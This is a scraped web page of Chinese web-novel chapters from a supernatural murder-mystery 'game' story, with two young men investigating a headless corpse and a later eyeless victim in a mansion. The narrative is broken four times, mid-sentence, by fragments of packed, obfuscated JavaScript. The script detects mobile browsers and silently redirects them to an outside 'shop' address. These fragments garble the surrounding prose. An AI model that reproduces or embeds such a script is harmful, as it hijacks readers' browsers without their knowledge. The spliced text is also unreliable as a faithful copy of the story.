“我?”李丛眼珠一转,恬不知耻地说:“我17,比你小一岁。” 实际上他20了,可怜还是个处男,这条小命说不定就交代在这里了。 姜眠看起来倒是比他实际年龄小,个子也不矮,就是太单薄了,下巴尖就显得眼睛大,营养不良似的。 听到他比自己小,果然是弟弟,姜眠深觉自己任务艰巨,深吸口气挺直腰板:“那我先进去,你跟在我后面。” 前后脚进门,看到尸体老实地在床上躺着,没像昨晚那样起来跳popping,两人都松了口气。 姜眠走到床边,仔细地检查尸体。 尸体身上穿的是一条白色的真丝睡裙,只是已经被血染成暗红色。脖颈断口并不完全平整,应该不是一次性砍下来的,枕头上沾了些碎肉,除此之外,她身上再没有其他伤口。 这表明她是在睡梦中,毫无防备地被人砍杀的。 凶手用力之大,甚至连柔软的枕芯都撕裂了,原本洁白的羽绒染上血色,一坨一坨地粘连在一起,散发着浓重的血腥味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026180|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李丛有心理阴影,没敢凑上前,见姜眠面不改色地抬起尸体青白僵硬的手臂,胃里一阵翻涌。 他忍了又忍,问:“看出什么来了?” 姜眠沉吟片刻,说:“这是位年轻的女士。” 李丛:“你怎么看出来的?” “你看。”姜眠指给他看,“手背皮肤很光滑,没有皱纹,还涂了红色的指甲油。” 若是稍微上点年龄的女性,就算保养得再好,也不可能完全没有岁月痕迹。而且这种颜色鲜亮的甲油,在年轻女性身上会更常见。 李丛后背发毛,但还是硬着头皮凑近:“还真是。” 而且那手看着死白,但手指修长,非常漂亮。 “那这就是齐雪,不是你‘妈妈’。”他下了定论。 姜眠凝眸:“唔……” 他觉得有哪里不对,但又不知从何说起,如果齐雪真受精神问题困扰,会有心情涂这么鲜亮的指甲油吗? 尸体查看完了,他们开始在房间里翻找。 姜眠在柜子里找到了辛文浩说的离婚协议,密密麻麻好几页。他有点晕字,勉强看了个大概,关于财产划分的部分,写明夫妻共同财产归齐雪一人所有。 签名页里,齐雪已经签了,但柯睿那一栏是空的。 柯睿没签,这份离婚协议还没有正式生效,也就是说他们还是夫妻关系。 李丛:“难道是柯睿不同意净身出户,所以干脆把齐雪杀了,好拿所有财产?” 姜眠眨巴眼:“净身出户是什么意思?” “就是两个人离婚,一方不带走任何财产,换句话说就是一分钱拿不到。”李丛耐心解释,“净身出户的通常是婚姻关系里的过错方,或是一些急于摆脱配偶的人,柯睿可能干了对不起齐雪的事,比如家暴、出轨……” 姜眠听明白了:“那他嫌疑很大。” “嗯。”李丛点头,“关于杀人动机,刚才你没听完整,我再给你复述一遍。” “焦雨晴是钢琴家,和齐雪是一年多前认识的,她来这里纯粹是参加生日聚会,两人没有明显矛盾,工作上的交集也不多。” “赵影是美术馆工作人员,帮齐雪办过几次画展,这次也是来庆生的,暂无动机。” “至于宋佳妮,她倒是有可能。”李丛摸了摸下巴,“她和齐雪是闺蜜,同为画家名气却差了一大截,说不定会嫉妒……” “杀人动机呢主要有三种,情杀、仇杀,财杀。如果凶手是辛文浩,那就是财杀,如果……你看我做什么?!” 姜眠面无表情地盯着他:“你爸爸被陷害,你迁怒到她身上,然后杀了她。” 李丛:“什么???” “这种的话……”姜眠想了想,偏头一笑:“叫仇杀,对吧?” “很好,会诈人了。”李丛故意板起脸,“我可以很明确地告诉你,我不是凶手,倒是你……”他意味深长地眯起眼睛。 姜眠正想说什么,忽然一阵钟声传来,他下意识去看床上的尸体。 李丛几乎是条件反射地要跑,腿都撇出去了,发现那尸体没动静,绷紧的神经才松懈下来。 果然要午夜才诈尸。 随即又反应过来,中午12点,该开饭了。 “去餐厅。” 姜眠却如临大敌:“啊……” 14.无首(14) 李丛见他表情不太对,遂问:“怎么了?” 这小子就跟饿死鬼投胎似的,每次就他干饭最积极,怎么现在一副不情不愿的样子? 姜眠欲言又止,垂眸摇了摇头。 李丛不再多问,迅速迈步往外走:“先去餐厅吧,吃完饭再来找。” 姜眠来到餐厅时,其他人都已经坐好了。 从一进餐厅,他就感受到了管家那潮湿粘稠的视线,如芒在背,几乎想要逃离。 姜眠低着头,快步坐在空位上,今天的食物相比昨天简单许多,土豆焗牛肉,配了一小碟蔬菜沙拉。 姜眠很饿,埋头干饭的同时,分出几分神听他们说话。 依旧是辛文浩最先开口。 “尸体看了吗?” 李丛:“看了,只从皮肤状态来分析的话,是年轻的女人,所以暂时可以排除其他身份,应该还是齐雪本雪。” 辛文浩点了点头:“还有其他的吗?” “我们找到了你说的离婚协议。”李丛说着,视线转向柯睿:“协议要求柯睿净身出户,他没同意。加上他现在急缺资金,我合理怀疑他有充分的杀人动机。” 姜眠咽下嘴里的食物,搭腔:“嗯嗯。” 焦雨晴问柯睿:“为什么要你净身出户?” 所有目光都聚在柯睿身上,清一色看渣男的眼神。 毕竟通常只有过错方,才会被要求净身出户,比如犯了所有男人都会犯的错…… 柯睿不耐烦地“啧”了声,“要我说多少次?我没杀人!” “你出轨了吧?”焦雨晴并不为之所动,将找到的东西一一摆在桌面上:“这些是我在宋佳妮房间里发现的,有你们通信的信件,你们一起看电影的票根,还有你们一起旅游的行程单。” 她做了个请的手势,“麻烦你们解释一下。” 宋佳妮和柯睿现实中是情侣,在游戏里却被安排成了偷情对象,该不该说这游戏策划者真够恶趣味的。 铁证如山,柯睿没什么好狡辩的,痛快地承认了。 而宋佳妮低着头,仍旧一副不在状态的模样。 姜眠好奇,拿过其中的一封信,拆开展平,一字一句地念了出来: “亲爱的妮,展信佳。”他念完这句,轻轻挑了下眉。 其他人安静下来,听他不紧不慢地念道:“你可知我最近有多难熬?我真是受够了那个疯女人!若不是当初看她有几分才气,又怎么可能会和她结婚?” “你才是我心目中最完美的妻,我爱你!我思念你的眉、你的唇,以及你温暖的胸怀,我的灵魂只为你颤栗……” 少年一本正经,用面无表情地脸念着这么腻歪的情话,念到最后还应景地抖了一抖,明显是被肉麻到了,莫名就有点冷幽默。 李丛憋不住了,“噗嗤”笑出声来。 “这还写上诗了?”他抚了抚胳膊上的鸡皮疙瘩,揶揄:“诗人都是渣男,果然诚不我欺。” 柯睿唇角微抽:“又不是……”他想说又不是他写的,他写不出这么膈应人的玩意儿,但想起这是在游戏里,他也只能认了。 其他人忍俊不禁,紧绷的气氛顿时轻松不少。 姜眠的关注点则在于前半段,微微蹙眉:“为什么说她是疯女人?” 柯睿身体往后,抱臂靠着椅背,态度好了一些:“我之前就说过,齐雪是个情绪反复暴躁的人,只要有一点不合她心意,就会大吵大闹,甚至做出伤人的举动。” “而且她控制欲也很强,凡事必须按照她的想法来,在这段婚姻关系里,我才是那个被暴力的人!” 柯睿语出惊人,众人面面相觑。 “她有没有看过医生?”辛文浩问。 “好像是有的,最近她精神状况似乎稳定了些,所以我们才继续谈离婚。”柯睿顿了顿,“但你们也知道了,她一个子儿也不打算分给我。” 李丛抓住了关键:“那你最近见过她?” “没有。”柯睿摇头,“我们一直是通过律师联系的。” “她律师是谁?” 柯睿沉默了一会儿,表情变得有些奇怪。 “是有这么个人,但是……”他皱眉,“记忆里的脸是完全模糊的,没有相对应的人。” “我知道!”姜眠反应很快,举手:“是最先死掉的那位先生吧?” 那个人是在手下咽气的,所以他印象很深。 李丛拍桌:“对!” 游戏应该是预留了“律师”这个角色的,但那哥们儿在确认身份前就死了,所以游戏把他剔除了,自然就没有对应的人。 那么……他的房间里面还会有线索吗? 焦雨晴表情冷静:“但你说了这么多,没有一句可以减轻你的嫌疑。” 她修长的手指点了点桌面,“相反,这些证明你确实对齐雪积怨已深,在知道她打算让你净身出户后,你起了杀心。” 柯睿呛了回去:“那你有直接证据,证明我就是凶手吗?” 焦雨晴耸肩:“暂时没有。” 柯睿冷笑了一声。 众人又讨论了一会儿,目前嫌疑主要围绕在柯睿和辛文浩身上。两人的动机都是为财,柯睿可能还带了点情杀的苗头,但又没有直接的证据。 至于其他人,宋佳妮动机存疑。 李丛和姜眠比较特殊,他们的线索与齐雪没有直接联系,而是涉及父母辈。但既然他们也被列为嫌疑人,肯定会有相关突破点,只是大家还没有发现。 这么盘下来,似乎就只有赵影和焦雨晴能暂时排除杀人了。因为就目前的线索来看,她们和齐雪的确没有利益冲突。 尤其是赵影,齐雪死了她不仅没法从中获益,还会损失一位资深合伙人。 管家提醒他们时间到了,该离开餐厅了。 “我打算去律师的房间看看,你呢?”李丛问姜眠。 姜眠无所谓去哪,只是刚吃完东西,他现在有点儿困。 他打了个哈欠,“好啊。” 李丛怀疑地打量着他,“你不会又突然睡着吧?” 姜眠摇头,边打哈欠边说:“不……哈呜……不会。” 李丛:“……” 两人一起来到二楼,显然大家的想法都一样,纷纷聚在西装男的房间里。不过在他们把房间翻个底朝天后,都没找到什么新线索。 众人又分散到其他地方,但三楼依旧是禁区。李丛因着早上去过,没那么避讳了,富贵险中求,决定再探恐怖屋。 姜眠揉着眼睛跟上他,两人小心翼翼地走进那鲜血淋漓的案发现场。 这屋子东西其实挺多的,但大多都是毫无意义的装饰品,姜眠在衣柜最深处发现了一个保险箱,但需要输入六位密码才能打开。 蒙了几次都密码错误,遂放弃。 他来到梳妆台前,台面上摆着一排瓶瓶罐罐,是各种牌子的护肤品。 忽然他视线一顿,发现了一个不同于其他的瓶子。 拿起来一看,是药瓶,看瓶身上的说明,用来治疗精神分裂症。 精神分裂症? 姜眠晃动瓶身,凭手感和声音,应该还剩不少。 齐雪最近没吃药? 梳妆台下有个抽屉,他拉了拉,锁了。 需要钥匙才能打开。 他在梳妆台附近找了一圈,连化妆品都开盖看过,没有。 姜眠站起身,环顾这个房间,视线又落到那具无头尸体上。 通常来说,人们喜欢把私密的东西放在离自己最近的地方,比如带在身上,或者触手可及的地方…… 尸体身上就一件睡裙,藏不了东西,那么就只有床了…… 姜眠走过去,对着尸体轻声说了句“抱歉”,随即轻轻把她翻到一边,掀开枕头,没有。 姜眠抿唇,拎起血淋淋的枕头抖了抖,用来填充的羽绒抖落了一地。 正好瞥见这幕的李丛一阵牙酸,这小子到底是胆子大,还是缺心眼? “咚——” 一声闷响,有个东西掉在了地毯上,是一把小小的黄铜钥匙。 姜眠精神一振,迅速拿钥匙开锁。拉开抽屉,一个小小的首饰盒静静在躺在里面,盒底还压着什么东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037555|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李丛也凑了过来:“找到啥了?” 姜眠拿起首饰盒,下面压的是一张照片,李丛先拿走了照片,他便专心研究那首饰盒。 首饰盒是圆形的,覆着酒红色绒布,打开之后,里面躺着一条女士项链。 他把项链提起来,下方坠着个心形吊坠,做工和造型都很精致。 “诶?” 姜眠发现吊坠有缝隙,似乎是空心的,轻轻一掰就开了,里面嵌了张小小的黑白人物大头照。 照片里的女人很美,烫了上个世纪的时髦卷发,明眸善睐笑容温婉。 姜眠觉得,她看着有些眼熟。 “小男仆。”李丛突然叫他。 姜眠抬起头,李丛的表情非常严肃,而他知道这是为什么…… “你妈妈那张照片,你带了吗?”李丛问。 姜眠微顿,“带了。” 一直揣在他胸前的口袋里。 李丛手上照片里的人,和吊坠里的是同一位。 等姜眠把他妈妈的照片拿出来后,两张照片放在一起,两位妈妈虽然长相不同,但气质非常接近。她们的身形更是几乎一样,挡住脸的话,根本分不出来谁是谁。 “你觉得……”李丛深不可测地看着姜眠,“照片里的女人会是谁?” 姜眠抿唇:“齐雪的……妈妈?” 两人对视一眼,李丛大步走出卧室,往画室的方向走。 姜眠跟在他身后,快步来到画室,就听李丛“卧槽”了一声。 画室中央,原本摆画架的位置,空空如也。 画呢?! 还能自己长腿跑了? 这时他们听到了钟声,窗外天瞬间黑了下来,为防意外发生,两人迅速地下了楼。 众人都聚在大厅里,把这一天里找到的线索又汇总推理了一遍,新增线索有: 一、焦雨晴的演出行程表,她是位出色的钢琴家,经常参加巡演。 二、赵影的存折,半年前有笔巨款汇入,她的解释是帮人办画展的酬劳。 三、宋佳妮的笔记本,这是重点。 宋佳妮从很早就嫉妒齐雪,认为自己并不比齐雪差,但为什么无论老师、还是业界的那些人都对齐雪青睐有加,对自己却不闻不问。 她会和柯睿偷情,也是因为嫉妒,想通过这种方式,变相地证明自己比齐雪强。 她还幻想过有一天取代齐雪,甚至说“要是她消失就好了”。 嫉妒,是可以杀人的。 大家一致认为,宋佳妮单独作案可能性比较小,所以众人怀疑她和柯睿联手。只要齐雪死了,柯睿能拿到所有财产,宋佳妮则除掉了一直以来自己嫉妒的人,可以说是两全其美。 并且他们之间有那层关系在,既能彼此保密又能互相掣肘。 面对质疑,柯睿已经死猪不怕开水烫了。 “我还是那句话,说我们杀人,请拿出证据来。” 辛文浩推了推眼镜:“还有其他补充的吗?” “我在楼上发现了药,用来治疗精神分裂症的。”李丛面不改色,“其他的……唔……暂时没有。” 他没提到那张照片,姜眠眨了眨眼,讶异地看向他。 李丛偷偷对他挤了挤眼睛,意思是“哥们儿够意思吧?” “精神分裂?” 众人皱起眉,赵影忍不住道:“那她会怎样?” “不清楚。”李丛摇头,“应该就像柯睿说的那样,情绪不稳定,然后可能会出现幻觉啊、妄想啊之类的吧。” 这里的时间流速快,不知不觉已经很晚了,李丛提议大家都赶紧回房间睡觉,毕竟晚上12点后是要诈尸的。 心惊胆战地过了一天,大家早就累了,自然同意。 赵影心力交瘁,上楼的时候,不知是眼睛花了还是怎样,竟看见有道黑影从楼道尽头闪过。 她心脏猛地一悸,但看其他人都毫无所觉,怕说了引起哄乱,也怕大家怀疑她,便没有声张。 大家各回各家,赵影一进门,就看到那副据说不见了的画,正摆在自己房间中央。 15.无首(15) 赵影惊慌失措地跑出房间,“雨晴!雨晴!” 焦雨晴正站在走廊上和辛文浩说话,循声回头,就见赵影脸色苍白,仿佛受到了极大的刺激。 “怎么了?”焦雨晴问。 “画!”赵影心跳快得不像话,吞吞吐吐道:“画……在我房间里!” 焦雨晴神色一凛,“画为什么在你房间?” 赵影快哭了:“我也不知道为什么?今天下午还好好的,但是刚才我一进门,就看到画立在屋子中间!” 焦雨晴和辛文浩对视一眼,“我们去看看?” 辛文浩表情也很凝重:“好。” 他们一起来到赵影房间,果然看到了立在中间的那幅画,画中女人头上覆着白纱,一双眼睛隔着朦胧的蕾丝布料看向来人。 焦雨晴和辛文浩皆是沉默,赵影视线在他们间打转,焦急道:“我该怎么办?” 辛文浩沉吟片刻,出声安抚她:“没事,只是幅画而已,你今晚关好门,早点睡觉……” “不行!”赵影打断他,忽然她想到什么,瞪大眼睛道:“你们说这幅画会不会是鬼?不然为什么会自己跑到我房间来!” “对了,我刚才上楼的时候看到一个黑影,眨眼就不见了,你们没有看到吗?” 焦雨晴细长的眉紧蹙着:“没有。” 赵影的脸愈发惨白。 “不行,我不能在这个房间里……”赵影眼神失焦地喃喃,旋即一把抓住焦雨晴,哀求道:“雨晴,我今晚去你房间和你一起睡,可以吗?” 焦雨晴为难地抿唇:“抱歉……” “就一晚!”赵影眼泪瞬间就下来了,作势要跪下:“我求你了!” 焦雨晴赶紧拉住她:“你别这样。” 辛文浩看不过去了,劝道:“要不雨晴……你先跟她挤一晚,毕竟没说过不能换房间。” 焦雨晴心想你倒是会慨他人之康,但看赵影凄楚可怜的模样,想到这两天两人的相处,多少有些不忍,便勉强答应了。 “好。” 赵影松了口气,激动地抱住她:“雨晴谢谢你!” 焦雨晴的房间并不大,但装修得还不错,靠墙的位置有张单人床,足够躺下两个苗条的女生。 焦雨晴抖开被子:“你靠墙还是靠外面?” 赵影得了人家的帮助,哪好意思让她睡外面:“我睡外面吧。” 焦雨晴点点头,现在朝不保夕,也没有讲究的必要了,脱了鞋之后,合衣躺进了床里侧。 赵影怕挤到她,尽量靠近床外沿睡。她闭上眼睛,但或许是心里不安,许久都没有睡意。 犹豫片刻,她还是轻声开了口:“雨晴,你睡着了吗?” “没有。”焦雨晴闭着眼睛,“怎么了?” “我想跟你说件事。” “你说。” 赵影沉默了一会儿,说:“还记得男仆的那张照片吗?他说是他妈妈。” 焦雨晴:“嗯。” “其实……我见过那个女人,在齐雪的画展上。”赵影斟酌着措辞,“齐雪那天也在,也看到了那个女人,当时我就觉得齐雪似乎对她感兴趣。然后过了很长一段时间,大概半年多前,齐雪联系上我,希望我帮她找到那个女人,她想画幅人物肖像,但缺少一个模特,她觉得那个女人很合适。” 焦雨晴睁开眼睛:“然后呢?” “我联系上了那个女人,她也很喜欢齐雪的画,就答应了。我把齐雪的地址给了她,后面的事情我就不知道了。”赵影小心翼翼地说完,半晌没听到焦雨晴的回应,不由有些心慌:“雨晴?” 焦雨晴很轻地应了一声,又问:“那为什么你看到照片时不说?” “因为我看到那幅画的时候,就感觉有点熟悉,看到照片之后就想通了,我怕我说出来,大家会怀疑我……” “我知道了。”焦雨晴温声安慰她,“别担心,我知道凶手不是你。” 听她这么说,赵影松了口气,紧绷的心绪也跟着松懈了许多。 “谢谢。”她由衷地说。 “睡吧。” “好,晚安。” 赵影重新闭上眼睛,说出压抑在心里的秘密后,精神没那么紧张,睡意逐渐漫了上来,迷迷糊糊就入了眠。 她似乎做了个梦,梦里有一条长长的走廊,装修布置跟这里一模一样。 而她独自一人,其他人都不知道去哪了。 忽然,走廊尽头出现了一个身着黑色长裙、头顶面纱的女人,视线一闪,那女人就到了她面前。 “啊!” 赵影惊呼一声,从梦中惊醒。 是噩梦。 心脏用力地撞击着胸腔,一下又一下,她浑身是汗,大口大口地呼吸,好一会儿才平复下来。 谁知这时,膀胱一阵难言地胀痛,她突然很想上厕所,非常想! 并不是每个房间都带了卫生间,焦雨晴的房间就没有,如果要上厕所,只能去走廊上的公共卫生间。 赵影不敢出门,想着忍一忍就过去了,捂住肚子强行让自己入睡。 半分钟后,她又睁开眼睛。 她真的憋不住了!感觉肚子要炸开,她从来没有这么急过。 她又挣扎了半分钟,想让焦雨晴陪她上厕所,可喊了半天,焦雨晴都毫无反应。 算了,自己去吧。 赵影咬了咬牙,只要小心一点,不发出声音,应该就没事。 她从床上爬起,先贴在门上听了听外面的动静,确定没有异常后,才打开了门。 走廊上十分安静,赵影一路有惊无险地到了卫生间,解决完后,立在洗手台前洗手。 平静的氛围今她放松心神,这两天担惊受怕,都没怎么打理自己,邋遢得不行。 她俯低身体,捧水仔细地洗脸,洗着洗着,忽然觉得有哪里不对。 赵影睁开眼睛,视野里一片猩红色,她怔了怔,透过镜面看到自己身后,瞳仁瞬间放大。 “啊!!!” 与此同时,走廊另一侧。 姜眠睡得正香,忽然被一阵敲门声吵醒。 咚咚—— 咚咚咚—— 急促又响亮。 姜眠迷迷糊糊地睁开眼睛,话音里睡意浓浓:“谁啊?” “眠哥,你醒了吗?”是李丛的声音,隔着门板听不太真切。 姜眠被吵醒了,生出些起床气,懒洋洋地翻了个面趴着:“没有。” 李丛似乎笑了一声,“我都听到你说话了,怎么可能没醒?” 姜眠嘟囔:“你听错了。” 李丛也不恼,继续说:“天亮了,该吃早饭了,待会儿我们还要去找线索呢。” 一听吃早饭,姜眠稍微清醒了些,磨磨蹭蹭地从床上坐起来。 房间里很亮,似乎有阳光照了进来,他下意识看向窗户,却发现外面漆黑一片。 不对,天并没有亮,那么门外的人是? “眠哥?”外面的“李丛”又唤了一声,“你把门开开啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049636|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜眠屏住呼吸:“开门做什么?” “你不开门的话,我怎么进来?”那东西笑着说,仔细听的话,尾调带了丝不似人声的尖利。 有影子从门缝底下透了进来,有东西正匍匐在门口,一截尖利的黑色指甲探了进来,接着是半根森白的手指,一根、两根,三根…… 是做梦,姜眠心想,一定是的。 他迅速从床上跳起来,一脚踩在那手指上,狠狠跺了跺。 门外那东西吃痛,颤抖着把手指缩了回去。姜眠目光四巡,定在墙边的衣柜上。他试了下,衣柜纹丝不动,衣柜是固定在墙上的。 于是他又换成窗边的桌子,推过来抵在门后。 做完这些,姜眠躺回床上,闭上了眼睛。 在做梦在做梦……他告诉自己。 门外传来刺耳的声音,应该是尖利的指甲在剐蹭门板,那东西还没死心,不停地抠挖着门板。 咔嚓一声,是木头碎裂的声音,紧接着咔嚓咔嚓……仿佛有只大老鼠在啃咬门板,连带着桌子都在晃动,发出“笃笃咚咚”的声响。 “快开门!开门啊!开……开开门啊!你再不开我可要生气了!” 声音逐渐变形,到最后那几个字,分明是管家的声音…… 姜眠紧紧闭上眼睛,当做什么都没听到,拉高被子蒙住了脑袋。 有了被子这层安全结界,门外声音逐渐模糊,渐渐地困意袭来,他再一次进入了梦乡。 - 焦雨晴在睡梦中,感觉身边似乎一直有人在呜呜咽咽地哭。 “雨晴,我好冷,好冷啊雨晴……” 是赵影的声音,不知为何有些飘忽与哀怨。 “雨晴,好冷……” 焦雨晴面对墙侧躺着,眼睛睁不开,身体像灌了铅一般沉重,甚至连呼吸都有些困难。 “好冷……呜呜呜……雨晴……” 焦雨晴用力一挣,下一秒桎梏感消失,空气重新回到身体,她有种轻飘飘的感觉,但心脏却跳得很快。 她下意识摸了摸身后,空的。 赵影? 焦雨晴扭头,却见赵影背对着她坐在床边,一动也不动。 “赵影?”焦雨晴叫了她一声,没反应。 怎么了? 她伸出手,轻轻地推了下赵影:“你……” 只见赵影身体晃了晃,接着脖子中间出现一道血痕,逐渐扩大,血红断口像一张大嘴,裂到两边,然后赵影的头……就那么掉了下去。 焦雨晴睁大眼睛,惊惧到连声音都发不出来。 下一秒,她从床上惊醒。 明亮的光线照了进来,刺眼得很,她躺着缓了一会儿,等待心脏的悸动平息后,坐起身打量四周。 房间很干净,没有异常的味道,身边……没有人,更没有无头的尸体。 刚才的那些,都是梦。 但可能也不仅仅是梦。 她深呼吸,利落地下了床。 手握上门把,轻轻一拧就开,但她记得睡前明明反锁了。 有人出过门,那个人只可能是和她同房的赵影。 她来到走廊上,迎面撞见脸色难看的辛文浩。 “发生什么了吗?”话落她才发现自己嗓音居然这么哑。 “我正要找你。”辛文浩上下打量她,眸底闪过什么,沉声说:“赵影没了。” 焦雨晴眼皮一跳:“没了?” 辛文浩往公共卫生间的方向偏了下头:“你要不要去看看?” 16.无首(16) 卫生间门口已经围了人,隐隐有呜咽声传来。 焦雨晴走近之后,发现宋佳妮靠墙坐在地上,双手抱着脑袋,低下头神经质地碎碎念着什么—— “我们都会死……都会死……死……” 柯睿神色麻木蹲在她旁边,也不劝慰,就一直盯着地毯发呆。 焦雨晴脚步微顿,深吸口气,咬牙进了卫生间。 进门之后,出乎意料地没看到铺天盖地的血,地板墙壁光洁一新,只是地上有一滩积水。 卫生间做了干湿分离,一侧放着个浴缸,以白色防水帘隔离。没有人会在这里洗澡,之前那帘子都是拉开的,此刻却拉得严严实实,积水就是从帘内流淌到外面的。 焦雨晴心里有数了,伸手拉住帘子,又深深吸了好几口气,“唰”一声,一鼓作气拉开。 浴缸里放满了水,赵影就泡在水里,双手僵硬地缩在胸前,手指呈扭曲痉挛状。她表情惊恐大张着嘴,眼睛的位置只有两个黑漆漆的洞,几缕神经纤维顺水轻晃,皮肤是泡发了的肿胀苍白。 她像是……死前看到了什么恐怖的东西,然后活生生被挖出了眼睛…… 焦雨晴心脏一悸,快速拉上帘子。 她踉跄退了两步,心跳得很快,按着胸口急促地呼吸着。 想起之前的那个梦,赵影一直跟她说冷,所以那只是噩梦,还是说“赵影”真的回来过? 至于掉头那一幕,应该是心理作用,毕竟赵影的头还好好的长在脖子上,只是没了眼睛。 “宋佳妮最先发现的。”辛文浩在她身旁说,“我正好醒了,突然听到她的尖叫声,出来看的时候就这样了。” 焦雨晴沉默不语。 辛文浩不着痕迹地观察着她,温声问:“昨晚她和你一个房间,你知道发生了什么吗?” “我不知道。”焦雨晴摇头,“昨晚我们一起睡的,睡着之后我就什么都不知道了。今早起来发现她没在,还以为她是先回房了。” “那有什么异样吗?”辛文浩继续问。 焦雨晴:“睡之前我们反锁了门,但我醒来之后发现门没锁。” “你是说她是自己出去的?” “嗯。” 辛文浩欲言又止,像是想说什么。但他微侧过头看了眼门外,这里并不只有他们两人,有些话适合单独说,于是他选择了沉默。 - 姜眠依旧是被李丛的拍门声叫醒的。 他揉着眼睛打开门,却见李丛惊讶地瞪着他的门板,“卧槽”了好几声。 “眠哥,你这屋子是闹老鼠吗?”李丛心惊肉跳,“这也太壮观了,得是多大的老鼠!” 姜眠顺着他手指的方向低头,顿时也是一惊。 门板下边,靠近地板的位置,不知被什么东西啃噬得面目全非,甚至还掏出了一个小缺口,地上一堆木头碎屑。也不怪李丛觉得是老鼠,看那细密的咬痕,只有尖牙利齿的啮齿动物才做得到。 姜眠无声地张了张嘴,原来昨晚不是做梦?! 怪不得昨天管家看他的眼神意味深长,原来是想晚上来找他加餐! 幸好他昨晚没开门。 可是……他蹲下身,摸了摸那狗啃般参差不齐的痕迹,心想这门板能抵挡多久? “先别看这个了。”李丛拉住他手腕,朝走廊那侧打了个眼神,压低声音说:“又死人了。” 姜眠蹙了下眉:“谁?” “赵影。”李丛说,“就跟焦雨晴在一起,话很少的那个女生。” 赵影存在感不强,所以姜眠对她象并不深,只觉得她是个安静的人,大家说话时她就在一旁安静地听,提到她了才会搭话。 但是……那天他拿出妈妈的照片时,赵影表情不太对,她应该是知道些什么…… 姜眠抬步就往卫生间的方向走,路过宋佳妮时,她还在那双目无神地低语,精神状态岌岌可危,显然被刺激得不轻。 他一进门,里面的两人回过身来,分别是辛文浩和焦雨晴,面色都不是很好看。 姜眠笑着跟他们打招呼:“早上好。” 焦雨晴点了点头,算是回应。 对于姜眠无论何时都保持着良好的心态,对着尸体都能笑出来,她已经见怪不怪了。 也不知是该说他情绪稳定,还是他根本没有感情。 姜眠“唰”一声拉开白色的防水帘,看到泡在水里的人,先愣了一秒,随即蹲下身趴在浴缸边缘,探头仔细观察。 死法跟他想的不一样,还以为会像于泓那样被砍掉脑袋呢。 不过现在这样也没好到哪里去…… 姜眠望着她没有眼球支撑,从而塌陷下去的眼皮,情不自禁地也摸了摸自己的右眼。 如果他的眼睛也被挖出来,那应该就会像这样吧,只剩下一个丑陋的血洞。 李丛猝不及防就跟那尸体打了个照面,瞥见那恐怖扭曲的脸,差点没厥过去。 他掐着自己人中,硬着头皮上前,但不敢凑太近,瓮声瓮气:“发现什么了?” 姜眠沉吟,说:“她是被吓死的。” 除此之外,尸体身上并没有其他外伤,毫无反抗之力。 “看出来了。”李丛抚着自己的小心脏,想尽快离开这里:“要是没问题的话,咱就先撤吧,该吃早饭了。” 说完这句话,就见姜眠突然扭过头,直勾勾地盯着他。 昨晚那怪东西装成李丛来敲他门时,就骗他说要去吃早饭…… 李丛不明所以,被他那俩圆溜溜的眼珠子盯得直发毛:“怎、怎么了?” 姜眠面无表情:“想知道我的门是谁啃的吗?” 李丛来劲了:“谁?”他是真想知道,到底是人是鬼?还是什么其他的恐怖玩意儿,他也好有个心理准备。 姜眠扭回头:“我不告诉你。”话落起身,越过李丛往外走。 李丛:“……” 他追上去,“不是,你真知道啊?” 姜眠“嗯哼”了声,但就是不说。 李丛急得抓心挠肝,抓住姜眠的手摇了摇:“眠哥,就当我求你了。” 姜眠微微侧过脸,光线打在他脸侧,镀着圈绒绒的光边,那只绿色的眼珠翡翠似的,流转间清透动人。 “你想知道?”他问。 李丛点头如捣蒜:“嗯呐。” 姜眠竖起一根手指。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062910|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李丛不懂他想表达什么,猜不到也不想猜,就故意逗他,揶揄地挑眉:“有1吗?” 姜眠表情疑惑,眨了眨眼睛,显然也不懂他在说什么。 李丛只好瞎几把乱猜了。 “一只耳?”黑猫警长里的那只老鼠,他的童年阴影。 姜眠又眨巴了下眼睛。 李丛双手插兜,漫无边际地瞎掰:“一帆风顺。” 